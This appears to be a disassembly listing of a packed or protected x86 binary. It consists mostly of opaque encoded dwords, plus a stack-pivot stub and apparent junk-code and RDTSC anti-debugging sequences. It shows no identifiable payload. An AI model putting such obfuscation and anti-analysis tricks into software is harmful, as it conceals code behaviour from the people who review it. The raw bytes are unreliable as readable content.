		dd 0B000000h, 8D3774C0h, 0BD8B0C70h, 61E88EFh, 8B9h, 2275A600h
		dd 8BFA7549h, 9D8B3048h, 61E88EBh, 7F34583Bh, 6BD38B15h
		dd 0CA0304D2h, 8589018Bh, 61E88E7h, 8B04EBh, 8B61C5EBh
		dd 1E88E785h, 0B960CF06h, 20DAF803h, 61C88B60h,	0C8C0F61h
		dd 0F000000h, 68Ah, 8C0F00h, 0F000000h,	582h, 0C6806000h
		dd 0C08B616Bh, 0CE8h, 0EAC41C00h, 86CB5AF4h, 0D2BC7067h
		dd 8BD381B5h, 595FAA8Eh, 0C181C18Bh, 63E6h, 683F681h, 0BF2CDAh
		dd 0F000000h, 28Bh, 0FFDAB300h,	8B660F34h, 0B1605ADEh
		dd 619AB3BDh, 146CEA81h, 8166651Ah, 813C8EE3h, 0D6FD00F2h
		dd 3EC28142h, 52083A07h, 3AA3BE66h, 8A39048Fh, 44EF81E7h
		dd 66666520h, 0D6CAE381h, 2040C781h, 81F96665h,	0FF9CD4FFh
		dd 2A850FFFh, 0E8000000h, 5, 3B755481h,	48D0F20h, 66000000h
		dd 5E0A36BBh, 2AE9h, 0DD463600h, 6C61676Dh, 94C3754Ch
		dd 9B098E16h, 0E903B7F9h, 0FFFFFF83h, 0B7FC2A62h, 916AF8B8h
		dd 1678B684h, 0B005A40Ah, 0E9003B95h, 148h, 50h, 54h, 58h
		dd 5Ch,	60h, 64h, 68h, 6Ch, 0B0h, 0B4h,	0B8h, 0BCh, 0C0h
		dd 0C4h, 0C8h, 0CCh, 0D0h, 0D4h, 0D8h, 0DCh, 0E0h, 0E4h
		dd 0E8h, 0ECh, 38h dup(0)
		dd offset dword_565E54+7F0h
		dd 9E50EBh, 90EF858Dh, 8589061Eh, 61E922Fh, 6870Fh, 95890000h
		dd 61B242Dh, 239D85C6h,	0F54061Bh, 584h, 0E9816600h, 71681617h
		dd 81D71E19h, 4EB82404h, 85891744h, 61B0BA1h, 2F11B5FFh
		dd 5BB9061Bh, 8D795ED8h, 1E704685h, 0BE906h, 78BC0000h
		dd 16FB0D2Ch, 7441CB3Bh, 52D0FF38h, 68D0Fh, 8D8B0000h
		dd 61B1241h, 89F1B55Ah,	1E923385h, 0C9BF0F06h, 44E9h, 0FE8B6600h
		dd 2FB58B56h, 89061E92h, 2F858306h, 4061E92h, 8D60C35Eh
		dd 1E90EFB5h, 560FEB06h, 36FF006Ah, 923395FFh, 835E061Eh
		dd 3E8304C6h, 61EC7500h, 86C681C3h, 667DC974h, 585DC681h
		dd 0C7E38166h, 0C9858DD1h, 0B9061E92h, 445B43ACh, 8589FAB5h
		dd 61B1A95h, 0E5E9h, 0EE4D1000h, 3271DCFFh, 0E0A1D1Fh
		dd 538FDD7Ah, 2F6D3733h, 773D557Dh, 7DD57F2Dh, 3D577DD7h
		dd 75DF6DF7h, 7DD773D5h, 0EDF73D57h, 5375D55Fh,	2F6D3733h
		dd 773D557Dh, 7DD57F2Dh, 1E577DD7h, 75DF6D17h, 60206020h
		dd 0E0E02020h, 68AC2060h, 0E4A9F77Bh, 0B2D020A1h, 0B7EDA693h
		dd 0F291B99Dh, 6020ACA3h, 60206020h, 0E0E02020h, 53752060h
		dd 2F0D0A33h, 6020557Dh, 60206020h, 362BA728h, 60D650F0h
		dd 0A1EFB6F3h, 0B4E0F796h, 92B8E3A7h, 0E9B3F471h, 60F76DB9h
		dd 60206020h, 20206020h, 1ADF6DF7h, 7DD77335h, 0EDF73D57h
		dd 5375D55Fh, 2F6D3733h, 773D557Dh, 7DD57F2Dh, 3D577DD7h
		dd 75DF6DF7h, 7DD773D5h, 0EDF73D57h, 5375D55Fh,	2F6D3733h
		dd 0A1E357Dh, 0C1A8000Eh, 0FD54A766h, 22543F2h,	15E9297Ah
		dd 6800000Ch, 61E96A7h,	0FCEA23E9h, 977A68FFh, 19E9061Eh
		dd 68FFFCEAh, 61E983Eh,	0FCEA0FE9h, 991468FFh, 5E9061Eh
		dd 68FFFCEAh, 61E9988h,	0FCE9FBE9h, 9A4268FFh, 0F1E9061Eh
		dd 68FFFCE9h, 61E9B64h,	0FCE9E7E9h, 9C6168FFh, 0DDE9061Eh
		dd 68FFFCE9h, 61E9D0Ch,	0FCE9D3E9h, 9DE068FFh, 0C9E9061Eh
		dd 68FFFCE9h, 61E9E9Dh,	0FCE9BFE9h, 26C1B3FFh, 0E3826C83h
		dd 1CC3AF44h, 0EA85667Dh, 22C9B047h, 9C8DA7Fh, 51A649F0h
		dd 0EE58427h, 4AA140DFh, 0F3E78A2Dh, 0E90AD350h, 846538D6h
		dd 39DC1BBEh, 9FDAA99Ch, 758358F8h, 2D77E7Bh, 96B451F8h
		dd 72BC7B14h, 751D5ADFh, 0C87DEFEEh, 8604823Eh,	1FAA2FE3h
		dd 7289179Ch, 0AE4AC4F5h, 0E190B53h, 690684FFh,	27CA6D8Ah
		dd 8104A7D0h, 447E7F04h, 1C11C72Ch, 8E32B053h, 444C8EB5h
		dd 802EC72Ch, 0E0836CF1h, 0C968865Dh, 9B7A1E2Ch, 42312B44h
		dd 0BE3C0EA7h, 0A435BA37h, 0BBC72C44h, 6390A94Dh, 956AF194h
		dd 3119B65Dh, 333FB48Dh, 0F300F38Ch, 0A14BBF58h, 8333A0CEh
		dd 0FC33B9ECh, 0CB666C55h, 8C6B8020h, 94CC46E9h, 38FC69A0h
		dd 9EA736BDh, 0F5BAC72Ch, 92B855FCh, 28777010h,	0CB000005h
		dd 9C39DC1Bh, 0EE751857h, 0D1DAA36Ah, 0DE82DFF4h, 0FC76CB3Fh
		dd 827851F4h, 8A0842DBh, 0F8017E03h, 973EC865h,	45CA8D31h
		dd 0C4F54187h, 28B32498h, 0AC58A11Eh, 0D137C72Ch, 0EF1A2141h
		dd 6A6FD471h, 93C72C7Fh, 0DD079510h, 32FDE185h,	12EFEE73h
		dd 482C72Ch, 4DB7BA64h,	0FC692517h, 5141h, 0A73EC100h
		dd 7D47961Dh, 0AC1A3EC8h, 0A28A72Eh, 0CEC4F4AEh, 0B20DCC53h
		dd 0E664C72Ch, 0E7800642h, 2CB2995Ch, 0B45B97C7h, 0FF9ED81Bh
		dd 0F77AA466h, 48E58472h, 139A8002h, 0B6FFAE85h, 653EA0C8h
		dd 0FC4EE78Ah, 359FB25Ch, 0FC6989BFh, 0E499h, 0DC1B2900h
		dd 1A579C39h, 0F39C8B65h, 910FE165h, 4DF0FFF4h,	5A01F9C6h
		dd 50E98DBDh, 0AA31D4A3h, 0FEE3861Eh, 0CC584622h, 73638CD5h
		dd 0BE5D0180h, 0C8C07379h, 0C164933Eh, 9E6FAE3Ah, 7E0C08F5h
		dd 0CBA43BDAh, 8305A4D1h, 34952CEAh, 5FC832B1h,	0D95CC4F5h
		dd 2CA2835Ah, 0FE5ADEC7h, 356622h, 0BF44C749h, 0C72C453Eh
		dd 1713B351h, 3E054AA3h, 9F26DE70h, 2C64D920h, 0D052B8C7h
		dd 0EAB8BF4Dh, 0E4CD1230h, 0AC31E544h, 7719961Dh, 0E83D122Eh
		dd 0ED04DB62h, 254CA346h, 18BB5070h, 0F5735F03h, 0C578F321h
		dd 0EAF0BD43h, 8DBh, 3ADD7874h,	872AC9A5h, 44E38A70h, 7E21BCAFh
		dd 46E99069h, 29508123h, 0F008DF82h, 1855AA4Dh,	0F601D679h
		dd 8302B453h, 0D6EBFDFCh, 279B9438h, 9837DE1Bh,	0EE913443h
		dd 0CBA73E68h, 26C1B2ACh, 0C13FC189h, 0AEFFB53Ah, 0E560C4F4h
		dd 2CB29F5Eh, 0D654F2C7h, 0B2F70A39h, 8620C72Ch, 814B81EBh
		dd 0AC83FC69h, 0C68421C4h, 0A3A922h, 1B190000h,	579C39DCh
		dd 69DA731Ah, 3EC87983h, 2ED17483h, 62FB9ED9h, 199C2DB4h
		dd 0AAF209Ah, 0AA4DBB3Bh, 65E8E178h, 0C5EA5CE0h, 0B6F02E4Eh
		dd 16A6FAF0h, 31AEF5BFh, 0C72C5FA8h, 1FBF41C7h,	12FA0B1Ah
		dd 9062D63Dh, 56BF89Ch,	49169D1Bh, 11E68930h, 6D0CEAE8h
		dd 28F87AD0h, 43C4E38Eh, 8E5F5BAh, 0A1000008h, 429938D3h
		dd 0DDF29534h, 34CB6E15h, 0E6FD9C37h, 0A0C5640Bh, 0F39AD7FAh
		dd 0CE717F54h, 0FA99D42Bh, 0D4778057h, 7D028135h, 38D6EA7Ch
		dd 1BA81A13h, 439837DEh, 6BEE9134h, 16BA5994h, 5B966D10h
		dd 0B0BF14B4h, 0BEB9860Dh, 28C8821Bh, 680BE40Fh, 30BBB3C9h
		dd 169D20A9h, 0C4F559A0h, 36343E33h, 52F8953Ch,	3DCB52D0h
		dd 0CEA46875h, 3ED69B27h, 10BB30D0h, 0C5E79013h, 5884198h
		dd 0E8A98C7Eh, 22A91F3Fh, 0B8BDD096h, 0D97D6309h, 3A8FD640h
		dd 72132CB3h, 720631E9h, 8AF1A473h, 0E36AE8B2h,	0BD40E30Ch
		dd 8950E52Fh, 7115879Fh, 0B8C08F92h, 2ED27815h,	2BFB9ED9h
		dd 5EE04095h, 4400DAB3h, 0DD000007h, 0FED5740Fh, 59AE51F0h
		dd 0D77A21h, 22B958F3h,	6C11B057h, 0B75E9B36h, 12B5C318h
		dd 0BE5D986Fh, 8ABC41Bh, 51CE7569h, 38D6E588h, 1B3C06E7h
		dd 7A9C39DCh, 0D95FE6E3h, 773F18D7h, 0D659FD2Bh, 0F525FB59h
		dd 43E664C4h, 0BC3F8ACFh, 0C80BD37h, 4C239E3Dh,	0E3FA7F26h
		dd 7ECD0EC8h, 7E038A08h, 0C87D7C03h, 7614CD0Eh,	41F2FDD2h
		dd 4FF23572h, 0FEA5CCAAh, 845BFE7Ch, 0E584716Bh, 0E7800248h
		dd 9C1FAA2Fh, 0EE747A10h, 0FCCA4EA2h, 22EA7A53h, 7DC060B5h
		dd 2FBE13F6h, 0CCA98637h, 38BA902Dh, 1711DEB5h,	32B134DBh
		dd 0D36F9EABh, 1FC240C6h, 890CAFC8h, 7C1CBBBAh,	0DBEE73A3h
		dd 918DDB58h, 0F8C72952h, 7FBB5B02h, 34813509h,	0FA93578Eh
		dd 66EE0h, 4AE50700h, 872650A7h, 40E713E8h, 8E294AA1h
		dd 36DD14EBh, 0A52CAE93h, 6D8225CCh, 0AA41E083h, 768D2CCBh
		dd 7F33D679h, 0E47E7F04h, 181138D6h, 4EDF6DAAh,	0C1F8C231h
		dd 9128DA7Eh, 432EB538h, 0D6C4E932h, 0BC3EDD19h, 0EA8D6A39h
		dd 24C7B047h, 93368B8Bh, 16319310h, 0CCA33D17h,	0E46000A3h
		dd 261BE261h, 1076CD0Fh, 0BB36BE92h, 7D1243C5h,	5FA5Dh
		dd 0C6619300h, 3A2CC23h, 0BC638F64h, 0AA5C61Dh,	0C2699067h
		dd 29A83A1Fh, 0F106A950h, 2EC56407h, 0EA01A03Fh, 13C76A0Dh
		dd 0E4EAF370h, 0A48538D6h, 22A73E1Eh, 0C9DE149Bh, 381C4E9h
		dd 21C4B380h, 948E697Eh, 0AD2CB35Bh, 0C4C72911h, 1F2BC446h
		dd 0C339C93h, 0FD7BB80Bh, 952FB660h, 290DCF0Eh,	0A624A2C7h
		dd 0B8ADA01Fh, 0C6443D08h, 0C03FC23Fh, 0CD0AA039h, 0B94EF258h
		dd 677C1BBEh, 0FD48E588h, 0A0E2FB78h, 4E24CD0Ah, 0F99D2BA7h
		dd 9417B207h, 0CE0F9411h, 48CD0AA0h, 5DED8A31h,	82C767DDh
		dd 3737AFF4h, 3654FC80h, 44C5D244h
		dd 4E22A8A4h, 5DA59F8Ch, 4023B778h, 0D9000005h,	8A61009Bh
		dd 0D52ACD6Ch, 7C53F69Dh, 9E35D46Fh, 0E88D2CD3h, 0AB521FB2h
		dd 56F9F70Ch, 0B2511CB3h, 5CFFF80Fh, 58A09BDh, 38D6E7F4h
		dd 1B20A28Bh, 579C39DCh, 20D27518h, 26AD3099h, 0C4F559E4h
		dd 31D4A370h, 0E67F1E58h, 288C464h, 2BCAA47Bh, 4C91B28Bh
		dd 0B9C72CA1h, 0A21A84CBh, 0B4FC6991h, 36h, 94334211h
		dd 966D2EF4h, 3119B659h, 83469B8Dh, 0AEA18300h,	0CC3AC4F4h
		dd 108F1233h, 0C72CB2C9h, 0B97E22A8h, 0C72CB224h, 0B21C33D1h
		dd 0FC69813Ah, 0E01Ch, 0DC1BA600h, 1A579C39h, 7DE8F16Eh
		dd 0F3873EC8h, 54CD2799h, 9368EAA6h, 0A946C463h, 0ED8A2D4Ah
		dd 0A346E906h, 7A2D19Eh, 0E708E267h, 0ED0A3EC8h, 0CDA2A74Ah
		dd 24CBA6A4h, 9D4109A6h, 0F38C2F48h, 0A82B9E23h, 0F5C4012Bh
		dd 8B45D3C4h, 28CFAA92h, 0CD2FBB8Fh, 0A023AFA3h, 902E0842h
		dd 0C64400A0h, 5F6AEF23h, 9CD657DCh, 0FB893D13h, 0BE6FFD78h
		dd 0E5CEB2AFh, 2EF04A4h, 4A27BC5Bh, 0BF05D3A3h,	3AD343C5h
		dd 41EA0h, 1AB5B700h, 0F7966077h, 0D0778358h, 0FE99DA31h
		dd 0C66D845Bh, 359C3E23h, 0DDF2953Ch, 3AD17013h, 0E6FD9C3Bh
		dd 0FC36609h, 0E6EEEF74h, 0A88138D6h, 6BE86D1Ah, 3EC87D92h
		dd 22B757EDh, 0FA11B057h, 4ED35AFDh, 0C87D08D1h, 1AE3603Eh
		dd 753EC87Dh, 1CF5930Fh, 2F0EB251h, 0CBA73E27h,	0D7730CABh
		dd 574DD259h, 8C4F4AEh,	9B5EE582h, 84C72CB2h, 0F76DD79Ah
		dd 61FC6980h, 0C4h, 39DC1BE1h, 730EDDB2h, 77D070DAh, 51F801CEh
		dd 0DDF296B4h, 75D06D14h, 932CD39Eh, 0D81217B7h, 3A3EC879h
		dd 0E0F79A3Dh, 6ADB7417h, 0B30D3DDEh, 0BC5CE79Ah, 4FD6F34Ah
		dd 0A1FDAD0h, 902F953Bh, 0A67D479Eh, 5C9D26C9h,	33C72C62h
		dd 10B3BC95h, 0CE55D377h, 12C72751h, 4BD2383Dh,	33D67D74h
		dd 605221EEh, 0EB5FF893h, 1C6CD06Dh, 0BFC44CAEh, 0CB20C042h
		dd 5B3707AEh, 6D43C499h, 3213AA0h, 0BABA0000h, 8B6B801Fh
		dd 0BCB64DECh, 8E5D7215h, 727F54F3h, 93492CCBh,	0ED8C333Eh
		dd 9837DA16h, 0F4933243h, 0CA6D10DFh, 0E7F67D18h, 7A38D6E1h
		dd 0DF6D11B1h, 1F2170ADh, 0DCF195A1h, 34CB6E15h, 31F9983Bh
		dd 9C39DC1Bh, 0D2751857h, 5CE14E7Eh, 0F769E66Dh, 88C4F559h
		dd 27820902h, 84A37A38h, 8C098C3Dh, 7717B6B7h, 5A3268B2h
		dd 0E8850391h, 0AB32972Eh, 7DD66B24h, 0DB18E78Bh, 0E98C6B40h
		dd 0F87B0945h, 0C39B4C2Bh, 702B35Ah, 6B72F174h,	677BD4Ch
		dd 885F0280h, 0B9C6BE6Fh, 0BC2A363Eh, 370A6A3Eh, 0D9B6F977h
		dd 27601h, 42DD0F00h, 8F2E489Fh, 38DF1BF0h, 96314299h
		dd 6E15DCF3h, 0DDF4A6CBh, 35CA6D14h, 0E2F9983Bh, 0FED57413h
		dd 37AB4EF1h, 0E0C6179Ch, 0D09938D6h, 59966DF2h, 0B2BD12B6h
		dd 0B8B78C0Fh, 7D4A9310h, 9F253EC8h, 8A314821h,	60B95DEDh
		dd 1AE360E5h, 753EC87Dh, 0F6078C0Fh, 89C13782h,	14A95BFBh
		dd 0DCB32EB5h, 6FDB740Fh, 53F88ACFh, 5833B0Bh, 47E00E62h
		dd 0D37A80F2h, 0EF51CE55h, 803D1196h, 6B7A110Ah, 0C081B047h
		dd 48CD5079h, 38D87F7Bh, 0CF9019F3h, 71F492F3h,	2E7F4AEBh
		dd 98380FC2h, 8742977Fh, 0A5C07F04h, 0C94CF5C9h, 0C9A5B34Ah
		dd 9838CE15h, 0D8A72E9Ch, 23CBA59Fh, 0C9A55D9Ch, 14963415h
		dd 13DCF396h, 3926A070h, 0AD829B03h, 1A22Dh, 9E393B00h
		dd 6B0AE4FBh, 943B37CCh, 720DDEF5h, 9A4138CFh, 815052F7h
		dd 0D92ED178h, 865DFC9Fh, 0D229C867h, 6B5F02A5h, 0E0926BE8h
		dd 0FCED38D6h, 39DC1B46h, 0E1E37A9Ch, 0C87D9B62h, 1290F63Eh
		dd 5016048Bh, 1BA9C4F5h, 82DBE87Ch, 88078E3Bh, 3D118C16h
		dd 9D261BA9h, 8214A0FCh, 0D9D8008Ch, 1542A190h,	8F3A7F71h
		dd 0BDBA890Ch, 29CD7D1Ah, 22522624h, 0B24BB9FEh, 3DA0593h
		dd 0BF3533E2h, 7158ED1Fh, 0E0DA15EAh, 70DA731Ah, 15E46BF2h
		dd 6C0A7338h, 7AF73ADEh, 8F28CBA5h, 79161BBBh, 0DCF052A8h
		dd 0DF18E76Eh, 0CD6A09E5h, 875CFB7Dh, 0BFF1C568h, 99E9E34h
		dd 0E55684h, 6E7E0000h,	0CF9F34D3h, 807A9130h, 0D2A136D9h
		dd 36439837h, 578DF08Fh, 39D87F7Ah, 9433D6A2h, 0F08F2E3Fh
		dd 9639DC1Bh, 0DB22A124h, 0B638D6E3h, 0DC1B4DF5h, 0E37A9C39h
		dd 0C6E05FE6h, 99C4F4ADh, 439A8C2Bh, 19E412Fh, 0BF44C749h
		dd 3D0D062Dh, 0C42FC83Eh, 0ECE4FAABh, 0F28B2A4Bh, 3EA7CC58h
		dd 0E9FEA11Fh, 10E9660Eh, 6FCD0E07h, 0FFD457D9h, 97B050EFh
		dd 7118E1AEh, 4DD276D4h, 1C69A567h, 0AF343BE3h,	0B77A1DC0h
		dd 0EB6810E8h, 0FAA9A512h, 0B559D76Dh, 31B45720h, 54F19862h
		dd 8CB952F6h, 0A5738A09h, 780EFAA9h, 55F003D8h,	933F3BB8h
		dd 0A9A5CD0Ch, 0A426A4FAh, 6D10E80Bh, 0D6A17AD0h, 604A9A33h
		dd 0F725E311h, 7D6E4578h, 0CEA93EE2h, 78778C2Bh, 0CA238D5h
		dd 0F8000000h, 0FD2EDF6Dh, 0AB5327A2h, 1BDF610Bh, 52A13ED9h
		dd 0EE58225h, 4CA740DFh, 0FE48124h, 51A23BE2h, 0FE48128h
		dd 4FA441DCh, 10E37C23h, 24AE47E6h, 815E5456h, 4C6h, 4EE8300h
		dd 5C243487h, 1AC368h, 243C8900h, 5FAA68h, 24348900h, 1E946868h
		dd 243C8B06h, 5404C483h, 8324348Bh, 0EC8304C4h,	243C8904h
		dd 0FF08468Fh, 815E2434h, 4C4h,	243C8B00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_53531C
; ---------------------------------------------------------------------------
		dd 0FBCA611Dh, 1F91A7C5h, 1E9FA7B8h, 0FFC50306h, 0C5E960E0h
		dd 0E4B0E902h, 8D98CC3Fh, 186F7260h, 94054A75h,	16C7105Eh
		dd 0D60B620Eh, 0A736C69h, 0BDBA4755h, 104BEB43h, 3C2F0E09h
		dd 0DA4B1AC5h, 0D41CA4ACh, 0E45C5CD2h, 3134CE00h, 27CE1BF5h
		dd 34D129B3h, 2AC7DD5Bh, 1BCE17E6h, 0DB6734DFh,	0B30A00A6h
		dd 0EA1A0049h, 0D5A3h, 199C0000h, 0FEBFh, 0FBFE3Dh, 41280000h
		dd 7DD427E6h, 0B8E9C372h, 0E900000Ch, 0Ch, 0A4CDA58Dh
		dd 135DC7F6h, 0A96B6618h, 1CD5BD83h, 0F00061Bh,	3085h
		dd 298D8900h, 0B8061B29h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0EAC35040h
		dd 290004C2h, 1B0CE99Dh, 0FC08B06h, 889h, 0BD8B6000h, 61B0931h
		dd 0D1BD8361h, 61B23h, 0BD830975h, 61B3129h, 50137400h
		dd 0B8C08B53h, 4D0h, 0A4219D8Dh, 0D3FF061Dh, 0BD83585Bh
		dd 61B3129h, 50117400h,	4D0B853h, 9D8D0000h, 61DA36Eh
		dd 585BD3FFh, 6870Fh, 9D8B0000h, 61B31F5h, 4800Fh, 0BB660000h
		dd 6A5729h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 664BE9C3h, 6772E281h, 8531C08Bh, 61B244Dh
		dd 0A081858Dh, 6A061Eh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 3F0CA7C3h, 88482A76h, 0B590E02Eh
		dd 6A905032h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0CDC6C356h, 0A347BAC7h, 0A03E858Dh
		dd 8166061Eh, 90BCFEC1h, 0F50CF8Bh, 889h, 28B0F00h, 8A000000h
		dd 6A90F4h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 95FF0EC3h, 61B0D75h, 424448Bh, 0DD98D8Bh
		dd 89FC061Bh, 1EA06985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 0EE9B1C1h, 98000000h
		dd 0AEF0A7AEh, 4D811B8Fh, 0C6BF3E17h, 24448B8Bh, 56006A08h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 559D290Ah, 0BF061B1Ah, 569C4C12h, 0A07D8589h, 8166061Eh
		dd 836F8DF2h, 1B24FDBDh, 850F0006h, 0D9h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 15h, 0ECC35040h, 0C6AAB14Eh
		dd 1B239D85h, 95234706h, 61B0D55h, 0AAADAF68h, 81F58A8Ah
		dd 0FA232404h, 6A49EFh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 881128C3h, 0C4637F1h, 0B9B589h
		dd 958B061Bh, 61B06A9h,	2F11B5FFh, 8D89061Bh, 61B2BB5h
		dd 7046858Dh, 6A061Eh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 8B32B9C3h, 1B08198Dh, 0E9D0FF06h
		dd 0Bh,	2597738Fh, 605B395Dh, 8977F22Ah, 1B24FD85h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 9BE8BE69h, 0FE54348Eh, 2DBD8384h, 61B2Fh, 7E850Fh, 0BD8B0000h
		dd 61B09EDh, 239D85C6h,	8047061Bh, 326846D2h, 66486FE6h
		dd 81FA64BFh, 0CFB02404h, 6A419Fh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0DD58AFC3h, 10EFBA9Fh
		dd 5DBD8911h, 31061B01h, 1B014185h, 0F5BF6606h,	11B5FFF3h
		dd 29061B2Fh, 1B2E31B5h, 46858D06h, 8B061E70h, 1B0B61BDh
		dd 8BD0FF06h, 1B223D9Dh, 2D858906h, 66061B2Fh, 0BC2DC981h
		dd 35BD83h, 0F00061Bh, 12D85h, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 65B31643h
		dd 0CB8B664Ah, 32D19D8Bh, 85C6061Bh, 61B239Dh, 68D68056h
		dd 11E9h, 39D7B800h, 7147783Dh,	86E19FEAh, 0A5F8092Dh
		dd 4E847CAh, 39000000h,	0FD41F6Dh, 0F87h, 0AE900h, 874E0000h
		dd 68C2EDCh, 3ED9E8BCh,	60525050h, 310F5250h, 0BA66585Ah
		dd 0F61270Bh, 50525031h, 5A310F52h, 5A310F58h, 8B585A58h
		dd 50042444h, 0FACB552h, 5AC88B31h, 89008B58h, 0F042444h
		dd 386h, 0D38B6600h, 0B5FFF558h, 61B2F11h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 64C35343h, 298D09F3h
		dd 8D061B0Dh, 1E704685h, 0BD896006h, 61B0201h, 6AEE0BFh
		dd 0D0FF6133h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	6BC35747h, 892A4E9Eh, 1B003585h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
		dd 88234311h, 42DD6DA3h, 85C6EBB6h, 61B239Dh, 0DD8D8B6Ch
		dd 0E8061B32h, 4, 0DB057083h, 820Fh, 8A500000h,	24448BF9h
		dd 3860F04h, 66000000h,	8BD08Bh, 14E8h,	9BB6B900h, 33A11D8Ch
		dd 3B765EA8h, 0D27832EBh, 0ACC74F99h, 6E8609Dh,	31000000h
		dd 0CB5B5AA4h, 0CE85E21h, 7000000h, 99BF7701h, 4ED64E32h
		dd 5F44E472h, 44895A61h, 11E90424h, 0DA000000h,	0D2249282h
		dd 0EE0366Dh, 9AE8273Dh, 9D016D7Fh, 40BF6658h, 0F9B5FF66h
		dd 0E9061B2Bh, 0Ch, 51043D0h, 0E8BE6954h, 54348E9Bh, 391F858Dh
		dd 0E952061Bh, 6, 6F2B636Dh, 95B530Ah, 1B0E21BDh, 8BD0FF06h
		dd 6D8589FAh, 6A061EA0h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 0E10BC357h,	0B70FE33Ah
		dd 80046ACFh, 0B168D1EBh, 812592ECh, 0FCB12434h, 0BD8B2592h
		dd 61B324Dh, 5640DE68h,	7BBFBAA0h, 48106B2h, 0AABF2224h
		dd 50006A5Fh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0CF582182h, 8501413Ah, 61B2409h,	6A006Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 8D8CABC3h, 61211D0Ch, 0AE856h, 180E0000h, 9B4E315Bh
		dd 58ACF4A4h, 5A93EA80h, 9BD8B5Fh, 0FF061B21h, 1B1A3195h
		dd 0B59D8B06h, 89061B0Dh, 1EA07985h, 6A97B106h,	55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0A351AA10h, 845DBE04h, 8E872h, 0C3020000h, 363D97BBh
		dd 8D2B7CB0h, 61B097Dh,	4E85Bh,	0
		dd 11E90001h, 32000000h, 0ED32BEF3h, 85D22C47h,	0ADE321CFh
		dd 0F5DD1EF6h, 61BB6650h, 24448BE7h, 0FE8B6604h, 6660008Bh
		dd 509616BBh, 8B310F52h, 61585ADEh, 4244489h, 4800Fh, 0BB660000h
		dd 5158FD1Bh, 16D1BD8Bh, 505F061Bh, 89D18B66h, 6A2404h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 7F74FEC3h, 8B662E47h, 6A0B6AFAh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0CBAAC353h
		dd 119D2936h, 8D061B13h, 1EA04685h, 0EE906h, 42CC0000h
		dd 8DF2989Dh, 91D2A022h, 0E860E99Ch, 11E850h, 1DC80000h
		dd 6602745h, 7BC9B448h,	5C3058ECh, 0E9EDCB37h, 0Ch, 73B01335h
		dd 6B61CC66h, 64F23982h, 24048959h, 90BF71BAh, 0FD95FF5Dh
		dd 8B061B24h, 1B1451BDh, 50B58D06h, 6A061EA0h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 0A2A5C351h, 31C5B557h, 807E21B0h, 6050DAC2h,	942E01B8h
		dd 61EC8A45h, 6A243489h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 7BD7C355h, 0E93644E2h
		dd 0BA66904Ah, 50508C68h, 52310F52h, 5A595F56h,	6A9058h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 5BD615C3h, 51394387h, 0B70FF290h, 0BD3352FBh, 61B1821h
		dd 2D95FF5Bh, 8B061B2Fh, 258589D9h, 0FF061B2Bh,	71BD8BD0h
		dd 8B061B08h, 1B1B558Dh, 79B58B06h, 8B061EA0h, 1B091195h
		dd 7185C706h, 61EA0h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 801AC351h, 0F00207Eh
		dd 25984h, 0EDBD8900h, 60061B08h, 2A819D29h, 468D061Bh
		dd 71952920h, 89061B03h, 1EA07585h, 0AE906h, 95890000h
		dd 61B12EDh, 0FFBF0F40h, 0F003880h, 0FFFFF385h,	53006AFFh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 0FF7B3294h, 7C0D5F15h, 873BBA66h, 10759D09h,	0AE9061Bh
		dd 0F000000h, 8948CEBFh, 1B02418Dh, 5C388006h, 50840Fh
		dd 81660000h, 80ADF7C7h, 840F2F38h, 42h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Ch, 7C35141h, 686C9D6Eh
		dd 0B75CB0D6h, 0BE9h, 59EFB900h, 994B62A9h, 0FEE49C76h
		dd 0A075853Bh, 830F061Eh, 0FFFFFFA2h, 8940DF8Bh, 1B02D9BDh
		dd 61858906h, 83061B18h, 1EA07DBDh, 840F0006h, 92h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 91C35040h, 5BBA5085h
		dd 8912509Bh, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 899BC1C3h, 1B08DD9Dh, 0F5852906h
